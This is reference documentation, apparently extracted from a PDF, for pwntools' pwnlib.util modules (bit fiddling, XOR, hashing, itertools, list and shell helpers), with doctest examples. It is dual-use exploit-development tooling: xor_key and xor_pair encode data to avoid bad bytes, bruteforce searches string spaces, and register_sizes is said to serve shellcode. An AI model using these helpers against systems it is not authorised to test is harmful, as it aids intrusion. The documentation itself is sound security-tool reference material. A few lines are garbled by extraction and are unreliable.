pwnlib.util.fiddling.bits (s, endian = 'big', zero = 0, one = 1) \rightarrow list Converts the argument a list of bits.

Parameters

- \mathbf{s} A string or number to be converted into bits.
- **endian** (str) The binary endian, default 'big'.
- **zero** The representing a 0-bit.
- one The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

pwnlib.util.fiddling.bits_str(s, endian = 'big', zero = '0', one = '1') \rightarrow str A wrapper around bits(), which converts the output into a string.

Examples

pwnlib.util.fiddling.bitswap (s) \rightarrow str Reverses the bits in every byte of a given string.

```
>>> bitswap("1234")
'\x8cL\xcc,'
```

```
pwnlib.util.fiddling.bitswap_int(n) \rightarrow int
```

Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) The number to swap.
- width (int) The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

pwnlib.util.fiddling.bnot(value, width=None)

Returns the binary inverse of 'value'.

pwnlib.util.fiddling.enhex $(x) \rightarrow \text{str}$ Hex-encodes a string.

Example

```
>>> enhex("test")
'74657374'
```

pwnlib.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, high-light=None, cyclic=False)

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False) -> str generator

Return a hexdump-dump of a string.

- \mathbf{s} (str) The data to hexdump.
- width (int) The number of characters per line
- **skip** (bool) Set to True, if repeated lines should be replaced by a "*"
- **hexii** (bool) Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) Offset of the first byte to print in the left column
- **style** (dict) Color scheme to use.
- highlight (iterable) Byte values to highlight.
- cyclic (bool) Attempt to skip consecutive, unmodified cyclic lines

Returns A hexdump-dump in the form of a string.

```
pwnlib.util.fiddling.hexdump_iter(fd, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False)
```

hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False) -> str generator

Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use <code>hexdump()</code>.

Parameters

- **fd** (file) File object to dump. Use StringIO.StringIO() or hexdump() to dump a string.
- width (int) The number of characters per line
- **skip** (bool) Set to True, if repeated lines should be replaced by a "*"
- **hexii** (bool) Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) Offset of the first byte to print in the left column
- **style** (dict) Color scheme to use.
- highlight (iterable) Byte values to highlight.
- cyclic (bool) Attempt to skip consecutive, unmodified cyclic lines

Returns A generator producing the hexdump-dump one line at a time.

```
pwnlib.util.fiddling.hexii (s, width = 16, skip = True) \rightarrow str Return a HEXII-dump of a string.
```

Parameters

- \mathbf{s} (str) The string to dump
- width (int) The number of characters per line
- **skip** (bool) Should repeated lines be replaced by a "*"

Returns A HEXII-dump in the form of a string.

```
pwnlib.util.fiddling.isprint (c) \rightarrow bool
Return True if a character is printable
```

pwnlib.util.fiddling.naf (int) \rightarrow int generator

rectain frac if a character is printacte

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45

>>> m = 0

>>> x = 1

>>> for z in naf(n):

... m += x * z

... x *= 2

>>> n == m

True
```

```
pwnlib.util.fiddling.negate(value, width=None)
```

Returns the two's complement of 'value'.

```
pwnlib.util.fiddling.randoms (count, alphabet = string.lowercase) \rightarrow str
```

Returns a random string of a given length using only the specified alphabet.

Parameters

- **count** (*int*) The length of the desired string.
- alphabet The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10)
'evafjilupm'
```

```
pwnlib.util.fiddling.rol(n, k, word_size=None)
```

Returns a rotation by k of n.

When n is a number, then means ((n << k) | (n >> (word_size - k))) truncated to $word_size$ bits.

When *n* is a list, tuple or string, this is n[k % len(n):] + n[:k % len(n)].

Parameters

- **n** The value to rotate.
- **k** (*int*) The rotation amount. Can be a positive or negative number.
- word_size (int) If n is a number, then this is the assumed bitsize of n. Defaults to pwnlib.context.word_size if None.

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

```
pwnlib.util.fiddling.ror(n, k, word size=None)
```

A simple wrapper around rol(), which negates the values of k.

```
pwnlib.util.fiddling.unbits (s, endian = 'big') \rightarrow str
```

Converts an iterable of bits into a string.

Parameters

- s Iterable of bits
- endian (str) The string "little" or "big", which specifies the bits endianness.

Returns A string of the decoded bits.

```
>>> unbits([1])
'\x80'
>>> unbits([1], endian = 'little')
'\x01'
>>> unbits(bits('hello'), endian = 'little')
'\x16\xa666\xf6'
```

```
\texttt{pwnlib.util.fiddling.unhex}\,(s)\,\to \mathsf{str}
```

Hex-decodes a string.

Example

```
>>> unhex("74657374")
'test'
>>> unhex("F\n")
'\x0f'
```

```
pwnlib.util.fiddling.urldecode (s, ignore\_invalid = False) \rightarrow str URL-decodes a string.
```

Example

```
>>> urldecode("test%20%41")
  'test A'
>>> urldecode("%qq")
  Traceback (most recent call last):
    ...
  ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
  '%qq'
```

```
pwnlib.util.fiddling.urlencode (s) \rightarrow str URL-encodes a string.
```

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

```
pwnlib.util.fiddling.xor(*args, cut = 'max') \rightarrow str
```

Flattens its arguments using pwnlib.util.packing.flat() and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **args** The arguments to be xor'ed together.
- **cut** How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

```
>>> xor('lol', 'hello', 42)
'. ***'
```

pwnlib.util.fiddling.xor_key (data, size=None, avoid='x00n') -> None or (int, str)

Finds a size-width value that can be XORed with a string to produce data, while neither the XOR value or XOR string contain any bytes in avoid.

Parameters

- data (str) The desired string.
- avoid The list of disallowed characters. Defaults to nulls and newlines.
- size (int) Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key("Hello, world")
('\x01\x01\x01', 'Idmmn-!vnsme')
```

pwnlib.util.fiddling.xor_pair (data, avoid = 'x00n') -> None or (str, str)

Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- data (str) The desired string.
- avoid The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then None is returned.

Example

```
>>> xor_pair("test")
('\x01\x01\x01', 'udru')
```

2.27 pwnlib.util.hashes — Hashing functions

Functions for computing various hashes of files and strings.

```
pwnlib.util.hashes.md5file(x)
        Calculates the md5 sum of a file

pwnlib.util.hashes.md5filehex(x)
        Calculates the md5 sum of a file; returns hex-encoded

pwnlib.util.hashes.md5sum(x)
        Calculates the md5 sum of a string

pwnlib.util.hashes.md5sumhex(x)
        Calculates the md5 sum of a string; returns hex-encoded
```

```
pwnlib.util.hashes.shalfile(x)
     Calculates the sha1 sum of a file
pwnlib.util.hashes.shalfilehex (x)
     Calculates the sha1 sum of a file; returns hex-encoded
pwnlib.util.hashes.shalsum(x)
     Calculates the sha1 sum of a string
pwnlib.util.hashes.shalsumhex (x)
     Calculates the sha1 sum of a string; returns hex-encoded
pwnlib.util.hashes.sha224file(x)
     Calculates the sha224 sum of a file
pwnlib.util.hashes.sha224filehex(x)
     Calculates the sha224 sum of a file; returns hex-encoded
pwnlib.util.hashes.sha224sum(x)
     Calculates the sha224 sum of a string
pwnlib.util.hashes.sha224sumhex (x)
     Calculates the sha224 sum of a string; returns hex-encoded
pwnlib.util.hashes.sha256file(x)
     Calculates the sha256 sum of a file
pwnlib.util.hashes.sha256filehex (x)
     Calculates the sha256 sum of a file: returns hex-encoded
pwnlib.util.hashes.sha256sum(x)
     Calculates the sha256 sum of a string
pwnlib.util.hashes.sha256sumhex (x)
     Calculates the sha256 sum of a string; returns hex-encoded
pwnlib.util.hashes.sha384file(x)
     Calculates the sha384 sum of a file
pwnlib.util.hashes.sha384filehex(x)
     Calculates the sha384 sum of a file; returns hex-encoded
pwnlib.util.hashes.sha384sum(x)
     Calculates the sha384 sum of a string
pwnlib.util.hashes.sha384sumhex(x)
     Calculates the sha384 sum of a string; returns hex-encoded
pwnlib.util.hashes.sha512file(x)
     Calculates the sha512 sum of a file
pwnlib.util.hashes.sha512filehex(x)
     Calculates the sha512 sum of a file; returns hex-encoded
pwnlib.util.hashes.sha512sum(x)
     Calculates the sha512 sum of a string
pwnlib.util.hashes.sha512sumhex (x)
     Calculates the sha512 sum of a string; returns hex-encoded
```

2.28 pwnlib.util.iters — Extension of standard module itertools

This module includes and extends the standard module itertools.

```
pwnlib.util.iters.bruteforce (func, alphabet, length, method = 'upto', start = None)
```

Bruteforce *func* to return True. *func* should take a string input and return a bool (). *func* will be called with strings from *alphabet* until it returns True or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- func (function) The function to bruteforce.
- alphabet The alphabet to draw symbols from.
- length Longest string to try.
- method If 'upto' try strings of length 1 . . length, if 'fixed' only try strings of length length and if 'downfrom' try strings of length length . . 1.
- **start** a tuple (i, N) which splits the search space up into N pieces and starts at piece i(1..N). None is equivalent to (1, 1).

Returns A string s such that func (s) returns True or None if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
True
```

Same functionality as bruteforce(), but multithreaded.

Parameters

- alphabet, length, method, start (func,) same as for bruteforce()
- threads Amount of threads to spawn, default is the amount of cores.

```
pwnlib.util.iters.chained(func)
```

A decorator chaining the results of *func*. Useful for generators.

Parameters func (function) - The function being decorated.

Returns A generator function whoose elements are the concatenation of the return values from func (*args, **kwargs).

Example

```
>>> @chained
... def g():
... for x in count():
... yield (x, -x)
```

```
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

pwnlib.util.iters.consume (n, iterator)

Advance the iterator *n* steps ahead. If *n* is :const: 'None, consume everything.

Parameters

- **n** (*int*) Number of elements to consume.
- iterator (iterator) An iterator.

Returns None.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> i.next()
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
```

pwnlib.util.iters.cyclen $(n, iterable) \rightarrow iterator$

Repeats the elements of *iterable n* times.

Parameters

- **n** (*int*) The number of times to repeat *iterable*.
- iterable An iterable.

Returns An iterator whoose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

pwnlib.util.iters.dotproduct $(x, y) \rightarrow int$

Computes the dot product of x and y.

Parameters

- **x** (iterable) An iterable.
- \mathbf{x} An iterable.

Returns x[0] * y[0] + x[1] * y[1] +

Return type The dot product of x and y, i.e.

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

```
pwnlib.util.iters.flatten (xss) \rightarrow iterator
```

Flattens one level of nesting; when xss is an iterable of iterables, returns an iterator whoose elements is the concatenation of the elements of xss.

Parameters xss – An iterable of iterables.

Returns An iterator whoose elements are the concatenation of the iterables in xss.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

```
pwnlib.util.iters.group (n, iterable, fill\_value = None) \rightarrow iterator
```

Similar to pwnlib.util.lists.group(), but returns an iterator and uses itertools fast build-in functions.

Parameters

- **n** (*int*) The group size.
- iterable An iterable.
- **fill_value** The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whoose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
['ABC', 'DEF', 'Gxx']
```

```
pwnlib.util.iters.iter except (func, exception)
```

Calls *func* repeatedly until an exception is raised. Works like the build-in iter() but uses an exception instead of a sentinel to signal the end.

Parameters

- **func** The function to call.
- **exception** (exception) The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whoose elements are the results of calling func () until an exception matching *exception* is raised.

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> i.next()
1
>>> i.next()
2
>>> i.next()
3
>>> i.next()
Traceback (most recent call last):
...
StopIteration
```

pwnlib.util.iters.lexicographic (alphabet) \rightarrow iterator

The words with symbols in alphabet, in lexicographic order (determined by the order of alphabet).

Parameters alphabet – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, imap(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

```
pwnlib.util.iters.lookahead(n, iterable) \rightarrow object
```

Inspects the upcoming element at index n without advancing the iterator. Raises IndexError if iterable has too few elements.

Parameters

- n (int) Index of the element to return.
- iterable An iterable.

Returns The element in *iterable* at index n.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> i.next()
0
>>> i = count()
>>> nth(4, i)
4
>>> i.next()
5
>>> lookahead(4, i)
10
```

pwnlib.util.iters.**nth** $(n, iterable, default = None) \rightarrow object$

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

- **n** (*int*) Index of the element to return.
- iterable An iterable.
- **default** (objext) A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

pwnlib.util.iters.pad(iterable, value = None) \rightarrow iterator

Pad an *iterable* with *value*, i.e. returns an iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- iterable An iterable.
- value The value to pad with.

Returns An iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

pwnlib.util.iters.pairwise(iterable) \rightarrow iterator

Parameters iterable - An iterable.

Returns An iterator whoose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

pwnlib.util.iters.powerset (iterable, include_empty = True) \rightarrow iterator The powerset of an iterable.

Parameters

- iterable An iterable.
- include_empty (bool) Whether to include the empty set.

Returns The powerset of *iterable* as an interator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

 $\texttt{pwnlib.util.iters.quantify} (\textit{iterable}, \textit{pred} = bool) \ \rightarrow int$

Count how many times the predicate pred is True.

Parameters

- iterable An iterable.
- pred A function that given an element from *iterable* returns either True or False.

Returns The number of elements in *iterable* for which *pred* returns True.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

pwnlib.util.iters.random_combination(iterable, r) \rightarrow tuple

Parameters

- iterable An iterable.
- **r** (*int*) Size of the combination.

Returns A random element from itertools.combinations (iterable, r = r).

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

pwnlib.util.iters.random_combination_with_replacement (iterable, r)
random_combination(iterable, r) -> tuple

Parameters

• iterable - An iterable.

• **r** (*int*) – Size of the combination.

Returns A random element from itertools.combinations_with_replacement (iterable, r = r).

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

pwnlib.util.iters.random_permutation (iterable, r=None)
random_product(iterable, r = None) -> tuple

Parameters

- iterable An iterable.
- **r** (*int*) Size of the permutation. If None select all elements in *iterable*.

Returns A random element from itertools.permutations (iterable, r = r).

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

pwnlib.util.iters.random_product(*args, repeat = 1) \rightarrow tuple

Parameters

- args One or more iterables
- **repeat** (*int*) Number of times to repeat *args*.

Returns A random element from itertools.product(*args, repeat = repeat).

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

 $\texttt{pwnlib.util.iters.repeat_func} \ (\textit{func}, \, *args, \, **kwargs) \ \rightarrow iterator$

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from itertools which are very fast.

Parameters

• func (function) - The function to call.

- **args** Positional arguments.
- **kwargs** Keyword arguments.

Returns An iterator whoose elements are the results of calling func (*args, **kwargs) repeatedly.

Examples

```
>>> def f(x):
x[0] += 1
       return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
        return kwargs.get('x', 43)
\rightarrow \rightarrow i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
TypeError: f() takes exactly 0 arguments (1 given)
```

pwnlib.util.iters.roundrobin(*iterables)

Take elements from *iterables* in a round-robin fashion.

Parameters *iterables – One or more iterables.

Returns An iterator whoose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

pwnlib.util.iters.tabulate(func, start = 0) \rightarrow iterator

Parameters

- **func** (function) The function to tabulate over.
- **start** (*int*) Number to start on.

Returns An iterator with the elements func(start), func(start + 1),

Examples

```
>>> take(2, tabulate(str))
['0', '1']
```

```
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

```
pwnlib.util.iters.take(n, iterable) \rightarrow list
```

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- n (int) Number of elements to take.
- iterable An iterable.

Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

```
pwnlib.util.iters.unique_everseen(iterable, key = None) \rightarrow iterator
```

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key (elm). Otherwise elm is remembered.

Parameters

- iterable An iterable.
- **key** A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
    'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
    'ABCD'
```

```
pwnlib.util.iters.unique_justseen (iterable, key=None)
unique_everseen(iterable, key = None) -> iterator
```

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key (elm). Otherwise elm is remembered.

- iterable An iterable.
- **key** A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
    'ABCDAB'
    >>> ''.join(unique_justseen('ABBCcAD', str.lower))
    'ABCAD'
```

```
pwnlib.util.iters.unique_window (iterable, window, key=None)
unique_everseen(iterable, window, key = None) -> iterator
```

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

Parameters

- iterable An iterable.
- window (int) The number of elements to remember.
- **key** A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
    'ABCDA'
    >>> ''.join(unique_window('ABBCcAD', 5, str.lower))
    'ABCD'
    >>> ''.join(unique_window('ABBCcAD', 4, str.lower))
    'ABCAD'
pwnlib.util.iters.chain()
    Alias for itertools.chain().
pwnlib.util.iters.combinations()
    Alias for itertools.combinations()
pwnlib.util.iters.combinations_with_replacement()
    Alias for itertools.combinations_with_replacement()
pwnlib.util.iters.compress()
    Alias for itertools.compress()
pwnlib.util.iters.count()
    Alias for itertools.count()
pwnlib.util.iters.cycle()
    Alias for itertools.cycle()
pwnlib.util.iters.dropwhile()
    Alias for itertools.dropwhile()
pwnlib.util.iters.groupby()
    Alias for itertools.groupby()
```

```
pwnlib.util.iters.ifilter()
    Alias for itertools.ifilter()
pwnlib.util.iters.ifilterfalse()
    Alias for itertools.ifilterfalse()
pwnlib.util.iters.imap()
    Alias for itertools.imap()
pwnlib.util.iters.islice()
    Alias for itertools.islice()
pwnlib.util.iters.izip()
    Alias for itertools.izip()
pwnlib.util.iters.izip_longest()
    Alias for itertools.izip_longest()
pwnlib.util.iters.permutations()
    Alias for itertools.permutations()
pwnlib.util.iters.product()
    Alias for itertools.product()
pwnlib.util.iters.repeat()
    Alias for itertools.repeat()
pwnlib.util.iters.starmap()
    Alias for itertools.starmap()
pwnlib.util.iters.takewhile()
    Alias for itertools.takewhile()
pwnlib.util.iters.tee()
    Alias for itertools.tee()
```

2.29 pwnlib.util.lists — Operations on lists

```
pwnlib.util.lists.concat (l) \rightarrow list
Concats a list of lists into a list.
```

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

```
pwnlib.util.lists.concat_all(*args) \rightarrow list Concats all the arguments together.
```

Example

```
>>> concat_all(0, [1, (2, 3)], [([[4, 5, 6]])])
[0, 1, 2, 3, 4, 5, 6]
```

```
pwnlib.util.lists.findall(l,e) \rightarrow 1
```

Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> foo.next()
3
>>> foo.next()
4
>>> foo.next()
6
```

pwnlib.util.lists.group $(n, lst, underfull_action = 'ignore', fill_value = None) \rightarrow list$

Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in fill_value.

Parameters

- **n** (*int*) The size of resulting groups
- 1st The list, tuple or string to group
- underfull_action (str) The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- **fill_value** The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

pwnlib.util.lists.ordlist(s) \rightarrow list

Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

pwnlib.util.lists.partition($lst, f, save_keys = False$) \rightarrow list

Partitions an iterable into sublists using a function to specify which group they belong to.

It works by calling f on every element and saving the results into an collections. Ordered Dict.

- 1st The iterable to partition
- f (function) The function to use as the partitioner.
- save_keys (bool) Set this to True, if you want the OrderedDict returned instead of just the values

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
```

```
pwnlib.util.lists.unordlist (cs) \rightarrow str
```

Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.30 pwnlib.util.misc — We could not fit it any other place

```
pwnlib.util.misc.align (alignment, x) \rightarrow int Rounds x up to nearest multiple of the alignment.
```

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 15, 15, 15]
```

```
pwnlib.util.misc.align_down (alignment, x) \rightarrow int
```

Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10]
```

```
pwnlib.util.misc.binary_ip(host) \rightarrow str
```

Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
'\x7f\x00\x00\x01'
```

```
pwnlib.util.misc.dealarm_shell(tube)
```

Given a tube which is a shell, dealarm it.

```
pwnlib.util.misc.mkdir_p (path)
```

Emulates the behavior of mkdir -p.

```
pwnlib.util.misc.parse_ldd_output(output)
```

Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters output (str) – The output to parse

```
>>> sorted(parse_ldd_output('''
... linux-vdso.so.1 => (0x00007fffbf5fe000)
... libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
... libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
... libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
... /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_64-linux-gnu/l
```

pwnlib.util.misc.read(path, count=-1, skip=0) \rightarrow str Open file, return content.

Examples

```
>>> read('/proc/self/exe')[:4]
'\x7fELF'
```

pwnlib.util.misc.register_sizes (regs, in_sizes)

Create dictionaries over register sizes and relations

Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes, it returns the following:

- •all_regs: list of all valid registers
- •sizes[reg]: the size of reg in bits
- •bigger[reg]: list of overlapping registers bigger than reg
- •smaller[reg]: list of overlapping registers smaller than reg

Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
. . . ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx', 'dx', 'dl', '
>>> sizes
{'ch': 8, 'cl': 8, 'ah': 8, 'edi': 32, 'al': 8, 'cx': 16, 'ebp': 32, 'ax': 16, 'edx': 32, 'ebx':
>>> bigger
{'ch': ['ecx', 'cx', 'ch'], 'cl': ['ecx', 'cx', 'cl'], 'ah': ['eax', 'ax', 'ah'], 'edi': ['edi']
>>> smaller
{'ch': [], 'cl': [], 'ah': [], 'edi': ['di'], 'al': [], 'cx': ['cl', 'ch'], 'ebp': ['bp'], 'ax':
```

pwnlib.util.misc.run_in_new_terminal (command, terminal = None) → None Run a command in a new terminal.

When terminal is not set:

- If *context.terminal* is set it will be used. If it is an iterable then *context.terminal*[1:] are default arguments.
- \bullet If X11 is detected (by the presence of the DISPLAY environment variable), x-terminal-emulator is used.
- If tmux is detected (by the presence of the TMUX environment variable), a new pane will be opened.

Parameters

- **command** (str) The command to run.
- **terminal** (str) Which terminal to use.
- args (list) Arguments to pass to the terminal

Returns None

```
pwnlib.util.misc.sh_command_with (f, arg0, ..., argN) \rightarrow command
```

Returns a command create by evaluating $f(new_arg0, ..., new_argN)$ whenever f is a function and f % $(new_arg0, ..., new_argN)$ otherwise.

If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape, they will be escaped and passed to the function.

If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix shell. In this case the output from f is prepended with a bit of code to create the variables.

Examples

```
>>> print sh_command_with(lambda: "echo hello")
echo hello
>>> print sh_command_with(lambda x: "echo " + x, "hello")
echo hello
>>> print sh_command_with(lambda x: "echo " + x, "\x01")
echo "$(printf '\001')"
>>> import random
>>> random.seed(1)
>>> print sh_command_with(lambda x: "echo " + x, "\x01\n")
dwtgmlqu="$(printf '\001\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
>>> random.seed(1)
>>> print sh_command_with("echo %s", "\x01\n")
dwtgmlqu="$(printf '\001\nx')";dwtgmlqu=${dwtgmlqu%x};echo "$dwtgmlqu"
```

```
pwnlib.util.misc.sh_prepare (variables, export=False)
```

Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.

It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.

Parameters

- **variables** (dict) The variables to set.
- **export** (bool) Should the variables be exported or only stored in the shell environment?
- output (str) A valid posix shell command that will set the given variables.

It is assumed that *var* is a valid name for a variable in the shell.

```
>>> print sh_prepare({'X': 'foobar'})
X=foobar
